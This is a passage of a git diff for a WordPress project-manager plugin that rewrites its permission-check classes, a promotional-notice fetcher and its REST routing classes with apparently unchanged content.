) ); - } +request->get_param( 'file_id' ); + $project_id = $this->request->get_param( 'project_id' ); + $user_id = get_current_user_id(); + + if ( $user_id ) { + + if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { + return true; + } + + $file = File::find( $id ); + if ( $file && $file->created_by == $user_id ){ + return true; + } + + } + + return new \WP_Error( 'File', __( "You have no permission.", "wedevs-project-manager" ) ); + } } \ No newline at end of file diff --git a/core/Permissions/Edit_Milestone.php b/core/Permissions/Edit_Milestone.php index f14651c0c..93e3c00a6 100644 --- a/core/Permissions/Edit_Milestone.php +++ b/core/Permissions/Edit_Milestone.php @@ -1,32 +1,32 @@ -request->get_param( 'milestone_id' ); - $project_id = $this->request->get_param( 'project_id' ); - $user_id = get_current_user_id(); - - if ( $user_id ) { - - if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { - return true; - } - - $milestone = Milestone::find( $id ); - - if ( $milestone && $milestone->created_by == $user_id ){ - return true; - } - - } - - return new \WP_Error( 'Milestone', __( "You have no permission.", "wedevs-project-manager" ) ); - } +request->get_param( 'milestone_id' ); + $project_id = $this->request->get_param( 'project_id' ); + $user_id = get_current_user_id(); + + if ( $user_id ) { + + if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { + return true; + } + + $milestone = Milestone::find( $id ); + + if ( $milestone && $milestone->created_by == $user_id ){ + return true; + } + + } + + return new \WP_Error( 'Milestone', __( "You have no permission.", "wedevs-project-manager" ) ); + } } \ No newline at end of file diff --git a/core/Permissions/Edit_Task.php b/core/Permissions/Edit_Task.php index 243263094..e994bd86d 100644 --- a/core/Permissions/Edit_Task.php +++ b/core/Permissions/Edit_Task.php @@ -1,34 +1,34 @@ -request->get_param( 'task_id' ); - $project_id = $this->request->get_param( 'project_id' ); - $user_id = get_current_user_id(); - - if ( $user_id ) { - - if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { - return true; - } - - $task = Task::with('assignees') - ->where('id', $id) - ->first(); - - if ( isset( $task->created_by ) && $task->created_by == $user_id ){ - return true; - } - - } - - return new \WP_Error( 'Task', __( "You have no permission.", "wedevs-project-manager" ) ); - } +request->get_param( 'task_id' ); + $project_id = $this->request->get_param( 'project_id' ); + $user_id = get_current_user_id(); + + if ( $user_id ) { + + if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { + return true; + } + + $task = Task::with('assignees') + ->where('id', $id) + ->first(); + + if ( isset( $task->created_by ) && $task->created_by == $user_id ){ + return true; + } + + } + + return new \WP_Error( 'Task', __( "You have no permission.", "wedevs-project-manager" ) ); + } } \ No newline at end of file diff --git a/core/Permissions/Edit_Task_List.php b/core/Permissions/Edit_Task_List.php index acf269ea7..46c320fd2 100644 --- a/core/Permissions/Edit_Task_List.php +++ b/core/Permissions/Edit_Task_List.php @@ -1,32 +1,32 @@ -request->get_param( 'task_list_id' ); - $project_id = $this->request->get_param( 'project_id' ); - $user_id = get_current_user_id(); - - if ( $user_id ) { - - if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { - return true; - } - - $task_list = Task_List::find( $id ); - - if ( $task_list && $task_list->created_by == $user_id ){ - return true; - } - - } - - return new \WP_Error( 'TaskList', __( "You have no permission.", "wedevs-project-manager" ) ); - } +request->get_param( 'task_list_id' ); + $project_id = $this->request->get_param( 'project_id' ); + $user_id = get_current_user_id(); + + if ( $user_id ) { + + if ( $project_id && pm_has_project_managing_capability( $project_id, $user_id ) ) { + return true; + } + + $task_list = Task_List::find( $id ); + + if ( $task_list && $task_list->created_by == $user_id ){ + return true; + } + + } + + return new \WP_Error( 'TaskList', __( "You have no permission.", "wedevs-project-manager" ) ); + } } \ No newline at end of file diff --git a/core/Permissions/Manager.php b/core/Permissions/Manager.php index 656439c7e..d3e0f1762 100644 --- a/core/Permissions/Manager.php +++ b/core/Permissions/Manager.php @@ -1,17 +1,17 @@ -request->get_param( 'id' ); - - if ( empty( $project_id ) ) { - $project_id = $this->request->get_param( 'project_id' ); - } - - if ( empty( $user_id ) || empty( $project_id ) ) { - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } - - if ( pm_user_can_access( pm_manager_cap_slug() ) ) { - return true; - } - - if ( pm_is_manager( $project_id, $user_id ) ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'id' ); + + if ( empty( $project_id ) ) { + $project_id = $this->request->get_param( 'project_id' ); + } + + if ( empty( $user_id ) || empty( $project_id ) ) { + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } + + if ( pm_user_can_access( pm_manager_cap_slug() ) ) { + return true; + } + + if ( pm_is_manager( $project_id, $user_id ) ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Project_Settings_Page_Access.php b/core/Permissions/Project_Settings_Page_Access.php index 512350177..42b5ceefe 100644 --- a/core/Permissions/Project_Settings_Page_Access.php +++ b/core/Permissions/Project_Settings_Page_Access.php @@ -1,28 +1,28 @@ -request->get_param( 'project_id' ); - - if ( empty( $user_id ) || empty( $project_id ) ) { - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } - - if ( pm_user_can_access( pm_manager_cap_slug() ) ) { - return true; - } - - if ( pm_is_manager( $project_id, $user_id ) ) { - return true; - } - - return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); - } -} +request->get_param( 'project_id' ); + + if ( empty( $user_id ) || empty( $project_id ) ) { + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } + + if ( pm_user_can_access( pm_manager_cap_slug() ) ) { + return true; + } + + if ( pm_is_manager( $project_id, $user_id ) ) { + return true; + } + + return new \WP_Error( 'project', __( "You have no permission.", "wedevs-project-manager" ) ); + } +} diff --git a/core/Permissions/Settings_Page_Access.php b/core/Permissions/Settings_Page_Access.php index a26a166f4..149198af3 100644 --- a/core/Permissions/Settings_Page_Access.php +++ b/core/Permissions/Settings_Page_Access.php @@ -1,14 +1,14 @@ -status = false; - $promo_notice = get_transient( 'wppm_promo_notice' ); - - if ( false === $promo_notice ) { - $promo_notice_url = 'https://raw.githubusercontent.com/weDevsOfficial/wppm-util/master/promotions.json'; - $response = wp_remote_get( $promo_notice_url, array( 'timeout' => 15 ) ); - - if ( is_wp_error( $response ) || $response['response']['code'] !== 200 ) { - return $offer; - } - - $promo_notice = wp_remote_retrieve_body( $response ); - set_transient( 'wppm_promo_notice', $promo_notice, DAY_IN_SECONDS ); - } - - $promo_notice = json_decode( $promo_notice, true ); - $current_time = new \DateTimeImmutable( 'now', new \DateTimeZone('America/New_York') ); - $current_time = $current_time->format( 'Y-m-d H:i:s T' ); - $disabled_key = get_option( 'pm_offer_notice' ); - - if ( $current_time >= $promo_notice['start_date'] && $current_time <= $promo_notice['end_date'] ) { - $offer->link = $promo_notice['action_url']; - $offer->key = $promo_notice['key']; - $offer->btn_txt = ! empty( $promo_notice['action_title'] ) ? $promo_notice['action_title'] : 'Get Now'; - $offer->message = []; - $offer->message[] = sprintf( __( '%s', 'wedevs-project-manager' ), $promo_notice['title'] ); - - if ( ! empty( $promo_notice['description'] ) ) { - $offer->message[] = sprintf( __( '%s', 'wedevs-project-manager' ), $promo_notice['description'] ); - } - - $offer->message[] = sprintf( __( '%s', 'wedevs-project-manager' ), $promo_notice['content'] ); - $offer->message = implode( '
', $offer->message ); - - if ( $disabled_key != $promo_notice['key'] ) { - $offer->status = true; - } - } - - return $offer; - } - - /** - * Get prmotion data - * - * @since 1.0.0 - * - * @return void - */ - public function promotional_offer() { - if ( ! current_user_can( 'manage_options' ) ) { - return; - } - - // Check if inside the wp-project-manager page - if ( ! isset( $_GET['page'] ) || 'pm_projects' !== $_GET['page'] ) { - return; - } - - $offer = $this->get_offer(); - if ( ! $offer->status ) { - return; - } - - ?> - - -
-
-

- message, [ 'strong' => [], 'br' => [] ] ); ?> -
- - btn_txt ); ?> - -

-
-
- - - status = false; + $promo_notice = get_transient( 'wppm_promo_notice' ); + + if ( false === $promo_notice ) { + $promo_notice_url = 'https://raw.githubusercontent.com/weDevsOfficial/wppm-util/master/promotions.json'; + $response = wp_remote_get( $promo_notice_url, array( 'timeout' => 15 ) ); + + if ( is_wp_error( $response ) || $response['response']['code'] !== 200 ) { + return $offer; + } + + $promo_notice = wp_remote_retrieve_body( $response ); + set_transient( 'wppm_promo_notice', $promo_notice, DAY_IN_SECONDS ); + } + + $promo_notice = json_decode( $promo_notice, true ); + $current_time = new \DateTimeImmutable( 'now', new \DateTimeZone('America/New_York') ); + $current_time = $current_time->format( 'Y-m-d H:i:s T' ); + $disabled_key = get_option( 'pm_offer_notice' ); + + if ( $current_time >= $promo_notice['start_date'] && $current_time <= $promo_notice['end_date'] ) { + $offer->link = $promo_notice['action_url']; + $offer->key = $promo_notice['key']; + $offer->btn_txt = ! empty( $promo_notice['action_title'] ) ? $promo_notice['action_title'] : 'Get Now'; + $offer->message = []; + $offer->message[] = sprintf( __( '%s', 'wedevs-project-manager' ), $promo_notice['title'] ); + + if ( ! empty( $promo_notice['description'] ) ) { + $offer->message[] = sprintf( __( '%s', 'wedevs-project-manager' ), $promo_notice['description'] ); + } + + $offer->message[] = sprintf( __( '%s', 'wedevs-project-manager' ), $promo_notice['content'] ); + $offer->message = implode( '
', $offer->message ); + + if ( $disabled_key != $promo_notice['key'] ) { + $offer->status = true; + } + } + + return $offer; + } + + /** + * Get prmotion data + * + * @since 1.0.0 + * + * @return void + */ + public function promotional_offer() { + if ( ! current_user_can( 'manage_options' ) ) { + return; + } + + // Check if inside the wp-project-manager page + if ( ! isset( $_GET['page'] ) || 'pm_projects' !== $_GET['page'] ) { + return; + } + + $offer = $this->get_offer(); + if ( ! $offer->status ) { + return; + } + + ?> + + +
+
+

+ message, [ 'strong' => [], 'br' => [] ] ); ?> +
+ + btn_txt ); ?> + +

+
+
+ + + get_latest_promo(); - $last_time = get_option( $this->promo_option_key . '_displayed_time' ); - $current_time = current_time( 'mysql' ); - - if ( empty( $notice ) ) { - return; - } - - if ( ( strtotime( $current_time ) - strtotime( $last_time ) ) < $this->time_interval ) { - return; - } - - ?> -
-
- <?php echo esc_attr( $notice['title'] ); ?> -
-
-

-

- -
- -
-
- - - - - 0, - 'last_displayed' => current_time( 'mysql' ) - ); - } - - update_option( $promo_option_key, $already_displayed_promo ); - update_option( $promo_last_display_time, current_time( 'mysql' ) ); - wp_send_json_success(); - } - } - - /** - * Get latest prmo - * - * @since 1.0.0 - * - * @return void - */ - public function get_latest_promo() { - $latest_promo = array(); - $promotions = $this->get_promotion_data(); - - if ( empty( $promotions ) ) { - return $latest_promo; - } - - uasort( $promotions, array( $this, 'sort_by_priority' ) ); - - $already_displayed_promo = get_option( $this->promo_option_key, array() ); - - foreach ( $promotions as $key => $value ) { - if ( ! isset( $already_displayed_promo[$key] ) ) { - $latest_promo = $value; - $latest_promo['key'] = $key; - return $latest_promo; - } - } - - return $latest_promo; - } - - /** - * Sort all promotions depends on priority key - * - * @param array $a - * @param array $b - * - * @return integer - */ - public function sort_by_priority( $a, $b ) { - if ( isset( $a['priority'] ) && isset( $b['priority'] ) ) { - return $a['priority'] - $b['priority']; - } else { - return 199; - } - } - -} +get_latest_promo(); + $last_time = get_option( $this->promo_option_key . '_displayed_time' ); + $current_time = current_time( 'mysql' ); + + if ( empty( $notice ) ) { + return; + } + + if ( ( strtotime( $current_time ) - strtotime( $last_time ) ) < $this->time_interval ) { + return; + } + + ?> +
+
+ <?php echo esc_attr( $notice['title'] ); ?> +
+
+

+

+ +
+ +
+
+ + + + + 0, + 'last_displayed' => current_time( 'mysql' ) + ); + } + + update_option( $promo_option_key, $already_displayed_promo ); + update_option( $promo_last_display_time, current_time( 'mysql' ) ); + wp_send_json_success(); + } + } + + /** + * Get latest prmo + * + * @since 1.0.0 + * + * @return void + */ + public function get_latest_promo() { + $latest_promo = array(); + $promotions = $this->get_promotion_data(); + + if ( empty( $promotions ) ) { + return $latest_promo; + } + + uasort( $promotions, array( $this, 'sort_by_priority' ) ); + + $already_displayed_promo = get_option( $this->promo_option_key, array() ); + + foreach ( $promotions as $key => $value ) { + if ( ! isset( $already_displayed_promo[$key] ) ) { + $latest_promo = $value; + $latest_promo['key'] = $key; + return $latest_promo; + } + } + + return $latest_promo; + } + + /** + * Sort all promotions depends on priority key + * + * @param array $a + * @param array $b + * + * @return integer + */ + public function sort_by_priority( $a, $b ) { + if ( isset( $a['priority'] ) && isset( $b['priority'] ) ) { + return $a['priority'] - $b['priority']; + } else { + return 199; + } + } + +} diff --git a/core/Router/Router.php b/core/Router/Router.php index d95b35d8a..2a80362f3 100644 --- a/core/Router/Router.php +++ b/core/Router/Router.php @@ -1,204 +1,204 @@ -parse( $uri, $handler, 'GET'); - - return $this; - } - - /** - * A route with POST http verb will be parsed into a pre-defined - * format using parse method and it is a chain method. - * - * @param string $uri - * - * @param stirng $handler (This string contains a class namespace - * and a method name. These two things are sperated by @. Left - * part of @ is the class namespace and right part is the mehtod - * name.) - * - * @return object (An object of the router class.) - */ - public function post( $uri, $handler ) { - $this->parse( $uri, $handler, 'POST' ); - - return $this; - } - - /** - * A route with PUT http verb will be parsed into a pre-defined - * format using parse method and it is a chain method. - * - * @param string $uri - * - * @param stirng $handler (This string contains a class namespace - * and a method name. These two things are sperated by @. Left - * part of @ is the class namespace and right part is the mehtod - * name.) - * - * @return object (An object of the router class.) - */ - public function put( $uri, $handler ) { - $this->parse( $uri, $handler, 'PUT' ); - - return $this; - } - - /** - * A route with DELETE http verb will be parsed into a pre-defined - * format using parse method and it is a chain method. - * - * @param string $uri - * - * @param stirng $handler (This string contains a class namespace - * and a method name. These two things are sperated by @. Left - * part of @ is the class namespace and right part is the mehtod - * name.) - * - * @return object (An object of the router class.) - */ - public function delete( $uri, $handler ) { - $this->parse( $uri, $handler, 'DELETE' ); - - return $this; - } - - /** - * A route with PATCH http verb will be parsed into a pre-defined - * format using parse method and it is a chain method. - * - * @param string $uri - * - * @param stirng $handler (This string contains a class namespace - * and a method name. These two things are sperated by @. Left - * part of @ is the class namespace and right part is the mehtod - * name.) - * - * @return object (An object of the router class.) - */ - public function patch( $uri, $handler ) { - $this->parse( $uri, $handler, 'PATCH' ); - - return $this; - } - - /** - * Separation of different parts of strings that come to the route - * as parameters will be stored in the static variable routes. - * - * @param string $uri - * - * @param string $handler (This string contains a class namespace - * and a method name. These two things are sperated by @. Left - * part of @ is the class namespace and right part is the mehtod - * name.) - * - * @param string $http_verb (GET, POST, PUT, DELETE, PATCH) - */ - private function parse( $uri, $handler, $http_verb ) { - $uri_parser = new Uri_Parser(); - - $handler = $uri_parser->class_method_separation( $handler ); - - $controller = $uri_parser->get_controller( $handler[0] ); - $method = $uri_parser->get_method( $controller, $handler[1] ); - - static::$routes[] = [ - 'http_verb' => $http_verb, - 'original_uri' => $uri, - 'uri' => $uri_parser->convert_to_wp_uri( $uri ), - 'controller' => $controller, - 'method' => $method, - 'permission' => [], - 'validator' => null, - 'sanitizer' => null, - ]; - } - - /** - * Apply permissions to a route. - * - * @param array $permissions (Array of permission classes.) - * - * @return object (An object of the router class.) - */ - public function permission( $permissions = array() ) { - $last_index = count( static::$routes ) - 1; - - static::$routes[$last_index]['permission'] = $permissions; - - return $this; - } - - /** - * Apply validator to the request(WP_REST_Request) data entering - * into the app(plugin). - * - * @param string $validator (Validator class namespace.) - * - * @return object (An object of the router class.) - */ - public function validator( $validator, $method = false ) { - $last_index = count( static::$routes ) - 1; - static::$routes[$last_index]['validator'] = $validator; - - return $this; - } - - /** - * Apply sanitizer to the request(WP_REST_Request) data entering - * into the app(plugin). - * - * @param string $sanitizer (Sanitizer class namespace.) - * - * @return object (An object of the router class.) - */ - public function sanitizer( $sanitizer ) { - $last_index = count( static::$routes ) - 1; - - static::$routes[$last_index]['sanitizer'] = $sanitizer; - - return $this; - } - - /** - * Get all the routes that are needed to registered as wp rest api. - * - * @return array (Static property of the class.) - */ - public static function get_routes() { - return static::$routes; - } +parse( $uri, $handler, 'GET'); + + return $this; + } + + /** + * A route with POST http verb will be parsed into a pre-defined + * format using parse method and it is a chain method. + * + * @param string $uri + * + * @param stirng $handler (This string contains a class namespace + * and a method name. These two things are sperated by @. Left + * part of @ is the class namespace and right part is the mehtod + * name.) + * + * @return object (An object of the router class.) + */ + public function post( $uri, $handler ) { + $this->parse( $uri, $handler, 'POST' ); + + return $this; + } + + /** + * A route with PUT http verb will be parsed into a pre-defined + * format using parse method and it is a chain method. + * + * @param string $uri + * + * @param stirng $handler (This string contains a class namespace + * and a method name. These two things are sperated by @. Left + * part of @ is the class namespace and right part is the mehtod + * name.) + * + * @return object (An object of the router class.) + */ + public function put( $uri, $handler ) { + $this->parse( $uri, $handler, 'PUT' ); + + return $this; + } + + /** + * A route with DELETE http verb will be parsed into a pre-defined + * format using parse method and it is a chain method. + * + * @param string $uri + * + * @param stirng $handler (This string contains a class namespace + * and a method name. These two things are sperated by @. Left + * part of @ is the class namespace and right part is the mehtod + * name.) + * + * @return object (An object of the router class.) + */ + public function delete( $uri, $handler ) { + $this->parse( $uri, $handler, 'DELETE' ); + + return $this; + } + + /** + * A route with PATCH http verb will be parsed into a pre-defined + * format using parse method and it is a chain method. + * + * @param string $uri + * + * @param stirng $handler (This string contains a class namespace + * and a method name. These two things are sperated by @. Left + * part of @ is the class namespace and right part is the mehtod + * name.) + * + * @return object (An object of the router class.) + */ + public function patch( $uri, $handler ) { + $this->parse( $uri, $handler, 'PATCH' ); + + return $this; + } + + /** + * Separation of different parts of strings that come to the route + * as parameters will be stored in the static variable routes. + * + * @param string $uri + * + * @param string $handler (This string contains a class namespace + * and a method name. These two things are sperated by @. Left + * part of @ is the class namespace and right part is the mehtod + * name.) + * + * @param string $http_verb (GET, POST, PUT, DELETE, PATCH) + */ + private function parse( $uri, $handler, $http_verb ) { + $uri_parser = new Uri_Parser(); + + $handler = $uri_parser->class_method_separation( $handler ); + + $controller = $uri_parser->get_controller( $handler[0] ); + $method = $uri_parser->get_method( $controller, $handler[1] ); + + static::$routes[] = [ + 'http_verb' => $http_verb, + 'original_uri' => $uri, + 'uri' => $uri_parser->convert_to_wp_uri( $uri ), + 'controller' => $controller, + 'method' => $method, + 'permission' => [], + 'validator' => null, + 'sanitizer' => null, + ]; + } + + /** + * Apply permissions to a route. + * + * @param array $permissions (Array of permission classes.) + * + * @return object (An object of the router class.) + */ + public function permission( $permissions = array() ) { + $last_index = count( static::$routes ) - 1; + + static::$routes[$last_index]['permission'] = $permissions; + + return $this; + } + + /** + * Apply validator to the request(WP_REST_Request) data entering + * into the app(plugin). + * + * @param string $validator (Validator class namespace.) + * + * @return object (An object of the router class.) + */ + public function validator( $validator, $method = false ) { + $last_index = count( static::$routes ) - 1; + static::$routes[$last_index]['validator'] = $validator; + + return $this; + } + + /** + * Apply sanitizer to the request(WP_REST_Request) data entering + * into the app(plugin). + * + * @param string $sanitizer (Sanitizer class namespace.) + * + * @return object (An object of the router class.) + */ + public function sanitizer( $sanitizer ) { + $last_index = count( static::$routes ) - 1; + + static::$routes[$last_index]['sanitizer'] = $sanitizer; + + return $this; + } + + /** + * Get all the routes that are needed to registered as wp rest api. + * + * @return array (Static property of the class.) + */ + public static function get_routes() { + return static::$routes; + } } \ No newline at end of file diff --git a/core/Router/Uri_Parser.php b/core/Router/Uri_Parser.php index e1136ea35..813179492 100644 --- a/core/Router/Uri_Parser.php +++ b/core/Router/Uri_Parser.php @@ -1,85 +1,85 @@ -\d+)'; - }, $uri ); - - return $uri; - } +\d+)'; + }, $uri ); + + return $uri; + } } \ No newline at end of file diff --git a/core/Router/WP_Router.php b/core/Router/WP_Router.php index c0fb659d6..776b8dc3d 100644 --- a/core/Router/WP_Router.php +++ b/core/Router/WP_Router.php @@ -1,322 +1,322 @@ - $http_verb, - 'callback' => array( $controller, $method ), - 'permission_callback' => function ( WP_REST_Request $request ) use ( $permissions ) { - return $this->check_permission( $request, $permissions ); - }, - 'args' => $this->prepare_args( $http_verb, $namespace, $uri, $validator, $sanitizer ) - ) ); - } - } - - /** - * Check for permissions for a specific route. - * - * @param WP_REST_Request $request (Current http request object.) - * - * @param array $permissions (Array of class namespaces of permission classes.) - * - * @return boolean (Return true if permitted; ortherwise false.) - */ - private function check_permission( WP_REST_Request $request, $permissions ) { - $permitted = array(); - $merge_error = false; - - if ( empty( $permissions ) ) { - $permitted = true; - } - - foreach ( $permissions as $permission ) { - $permission_obj = new $permission( $request ); - $has_permission = $permission_obj->check(); - - if ( is_wp_error( $has_permission ) ) { - $merge_error = true; - } - - $permitted[] = $has_permission; - } - - if ( $merge_error ) { - $permitted = $this->merge_permission_error( $permitted ); - } else if ( is_array($permitted) && in_array( false, $permitted ) ) { - $permitted = false; - } - - return $permitted; - } - - function merge_permission_error($wp_errors) { - $wp_error_merged = new WP_Error(); - - if ( !is_array( $wp_errors ) ) { - return $wp_errors; - } - - foreach ( $wp_errors as $wp_error ) { - if ( ! is_wp_error( $wp_error ) ) - continue; - foreach ( $wp_error as $key => $errors ) { - foreach ( $errors as $error ) { - $wp_error_merged->add( $key, $error ); - } - if ( isset( $wp_error->error_data[ $key ] ) ) { - $wp_error_merged->add_data( $wp_error->error_data[ $key ], $key ); - } - } - } - return $wp_error_merged; - } - - /** - * Making of parameters for wp rest routes. - * - * @param string $validator (Class namespace of a validator class.) - * - * @param string $sanitizer (Class namespace of a sanitizer class.) - * - * @return array (Array of arguments/parameters that will be passed to a - * wp rest route.) - */ - private function prepare_args( $http_verb, $namespace, $uri, $validator = null, $sanitizer = null ) { - - $validator = $validator ? new $validator( $this->prepare_request_object( $http_verb, $namespace, $uri ) ) : null; - $sanitizer = $sanitizer ? new $sanitizer( $this->prepare_request_object( $http_verb, $namespace, $uri ) ) : null; - $args = []; - - if ( $validator ) { - $args = $this->apply_validation( $args, $validator ); - } - - if ( $sanitizer ) { - $args = $this->apply_sanitizer( $args, $sanitizer ); - } - - return $args; - } - - protected function prepare_request_object( $http_verb, $namespace, $uri) { - $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; - $url_prefix = '/' . rest_get_url_prefix(); - $request_uri = substr( $request_uri, strlen( $url_prefix ) ); - - $route = '/' . $namespace . $uri; - $request = new WP_REST_Request( $http_verb, $request_uri ); - $request = $this->append_header( $request ); - $request = $this->append_uri_params( $request, $route ); - $request = $this->append_params( $request ); - - return $request; - } - - protected function append_header( WP_REST_Request $request ) { - $headers = $this->get_headers(); - - foreach( $headers as $key => $value ) { - $request->add_header( $key, $value ); - } - - return $request; - } - - - /** - * Get all HTTP header key/values as an associative array for the current request. - * - * @return array The HTTP header key/value pairs. - */ - private function get_headers() { - $headers = array(); - - $copy_server = array( - 'CONTENT_TYPE' => 'Content-Type', - 'CONTENT_LENGTH' => 'Content-Length', - 'CONTENT_MD5' => 'Content-Md5', - 'HTTP_X_WP_NONCE' => 'HTTP_X_WP_NONCE' - ); - - foreach ( $_SERVER as $key => $value ) { - if ( substr( $key, 0, 5 ) === 'HTTP_' ) { - $key = substr( $key, 5 ); - - if ( !isset( $copy_server[$key] ) || !isset( $_SERVER[$key] ) ) { - $key = str_replace( ' ', '-', ucwords( strtolower( str_replace( '_', ' ', $key ) ) ) ); - $headers[$key] = $value; - } - } elseif ( isset( $copy_server[$key] ) ) { - $headers[$copy_server[$key]] = $value; - } - } - - if ( !isset( $headers['Authorization'] ) ) { - if ( isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ) { - $headers['Authorization'] = isset( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REDIRECT_HTTP_AUTHORIZATION'] ) ) : ''; - } elseif ( isset( $_SERVER['PHP_AUTH_USER'] ) ) { - $basic_pass = isset( $_SERVER['PHP_AUTH_PW'] ) ? sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_PW'] ) ) : ''; - $auth_user = isset( $_SERVER['PHP_AUTH_USER'] ) ? sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_USER'] ) ) : ''; - $headers['Authorization'] = 'Basic ' . base64_encode( $auth_user . ':' . $basic_pass ); - } elseif ( isset( $_SERVER['PHP_AUTH_DIGEST'] ) ) { - $headers['Authorization'] = isset( $_SERVER['PHP_AUTH_DIGEST'] ) ? sanitize_text_field( wp_unslash( $_SERVER['PHP_AUTH_DIGEST'] ) ) : ''; - } - } - - return $headers; - } - - protected function append_uri_params( WP_REST_Request $request, $route ) { - $request_uri = $request->get_route(); - $uri_parts = explode( '/', $request_uri ); - $route_parts = explode( '/', $route ); - $params = []; - - if ( count( $uri_parts ) === count( $route_parts ) ) { - foreach ($uri_parts as $key => $value) { - if ( $value === $route_parts[$key] ) { - continue; - } elseif ( preg_match( "/^(\(\?P<).+(>\.\+\))$/", $route_parts[$key] ) ) { - $param = str_replace( "(?P<", '', $route_parts[$key] ); - $param = str_replace( ">.+)", '', $param ); - $params[$param] = $value; - } - } - } - - $request->set_url_params( $params ); - - return $request; - } - - protected function append_params( WP_REST_Request $request ) { - $nonce = $request->get_header( 'x_wp_nonce' ); - - // if ( ! isset( $_SERVER['HTTP_X_WP_NONCE'] ) ) { - // return $request; - // }; - - // $nonce = sanitize_text_field( $_SERVER['HTTP_X_WP_NONCE'] ); - - if ( ! wp_verify_nonce( $nonce, 'wp_rest' ) ) { - return $request; - } - - $get_data = wp_unslash( $_GET ); - $post_data = wp_unslash( $_POST ); - $file_data = wp_unslash( $_FILES ); - - $request->set_query_params( $get_data ); - $request->set_body_params( $post_data ); - $request->set_file_params( $file_data ); - - return $request; - } - - /** - * Apply validation to the data that are passed to a wp rest route. - * - * @param array $args (Arguments/Parameters that will be passed to a wp - * rest route.) - * - * @param Validator $validator - * - * @return array (Array of arguments/parameters that will be passed to a - * wp rest route.) - */ - protected function apply_validation( $args, Validator $validator ) { - $rules = $validator->rules(); - $keys = array_keys( $rules ); - - foreach ( $keys as $key ) { - $args[$key] = [ - 'required' => in_array( 'required', explode( '|', $rules[$key] ) ), - 'validate_callback' => function ( $param, $request, $key ) use ( $validator ) { - if ( $validator->validate( $request, $key ) ) { - return true; - } - - return new WP_Error( - 'rest_invalid_param', - $validator->get_errors( $key ), - array( - 'status' => 400 - ) - ); - }, - ]; - } - - return $args; - } - - /** - * Apply sanitization to the data that are passed to a wp rest route. - * - * @param array $args (Arguments/Parameters that will be passed to a wp - * rest route.) - * - * @param Sanitizer $sanitizer - * - * @return array (Array of arguments/parameters that will be passed to a - * wp rest route.) - */ - protected function apply_sanitizer( $args, Sanitizer $sanitizer ) { - $filters = $sanitizer->filters(); - $keys = array_keys( $filters ); - - foreach ( $keys as $key ) { - $args[$key]['sanitize_callback'] = function ( $param, $request, $key ) use ( $sanitizer ) { - return $sanitizer->sanitize( $request, $key ); - }; - } - - return $args; - } -} + $http_verb, + 'callback' => array( $controller, $method ), + 'permission_callback' => function ( WP_REST_Request $request ) use ( $permissions ) { + return $this->check_permission( $request, $permissions ); + }, + 'args' => $this->prepare_args( $http_verb, $namespace, $uri, $validator, $sanitizer ) + ) ); + } + } + + /** + * Check for permissions for a specific route. + * + * @param WP_REST_Request $request (Current http request object.) + * + * @param array $permissions (Array of class namespaces of permission classes.) + * + * @return boolean (Return true if permitted; ortherwise false.) + */ + private function check_permission( WP_REST_Request $request, $permissions ) { + $permitted = array(); + $merge_error = false; + + if ( empty( $permissions ) ) { + $permitted = true; + } + + foreach ( $permissions as $permission ) { + $permission_obj = new $permission( $request ); + $has_permission = $permission_obj->check(); + + if ( is_wp_error( $has_permission ) ) { + $merge_error = true; + } + + $permitted[] = $has_permission; + } + + if ( $merge_error ) { + $permitted = $this->merge_permission_error( $permitted ); + } else if ( is_array($permitted) && in_array( false, $permitted ) ) { + $permitted = false; + } + + return $permitted; + } + + function merge_permission_error($wp_errors) { + $wp_error_merged = new WP_Error(); + + if ( !is_array( $wp_errors ) ) { + return $wp_errors; + } + + foreach ( $wp_errors as $wp_error ) { + if ( ! is_wp_error( $wp_error ) ) + continue; + foreach ( $wp_error as $key => $errors ) { + foreach ( $errors as $error ) { + $wp_error_merged->add( $key, $error ); + } + if ( isset( $wp_error->error_data[ $key ] ) ) { + $wp_error_merged->add_data( $wp_error->error_data[ $key ], $key ); + } + } + } + return $wp_error_merged; + } + + /** + * Making of parameters for wp rest routes. + * + * @param string $validator (Class namespace of a validator class.) + * + * @param string $sanitizer (Class namespace of a sanitizer class.) + * + * @return array (Array of arguments/parameters that will be passed to a + * wp rest route.) + */ + private function prepare_args( $http_verb, $namespace, $uri, $validator = null, $sanitizer = null ) { + + $validator = $validator ? new $validator( $this->prepare_request_object( $http_verb, $namespace, $uri ) ) : null; + $sanitizer = $sanitizer ? new $sanitizer( $this->prepare_request_object( $http_verb, $namespace, $uri ) ) : null; + $args = []; + + if ( $validator ) { + $args = $this->apply_validation( $args, $validator ); + } + + if ( $sanitizer ) { + $args = $this->apply_sanitizer( $args, $sanitizer ); + } + + return $args; + } + + protected function prepare_request_object( $http_verb, $namespace, $uri) { + $request_uri = isset( $_SERVER['REQUEST_URI'] ) ? sanitize_text_field( wp_unslash( $_SERVER['REQUEST_URI'] ) ) : ''; + $url_prefix = '/' . rest_get_url_prefix(); + $request_uri = substr( $request_uri, strlen( $url_prefix ) ); + + $route = '/' . $namespace . $uri; + $request = new WP_REST_Request( $http_verb, $request_uri ); + $request = $this->append_header( $request ); + $request = $this->append_uri_params( $request, $route ); + $request = $this->append_params( $request ); + + return $request; + } + + protected function append_header( WP_REST_Request $request ) { + 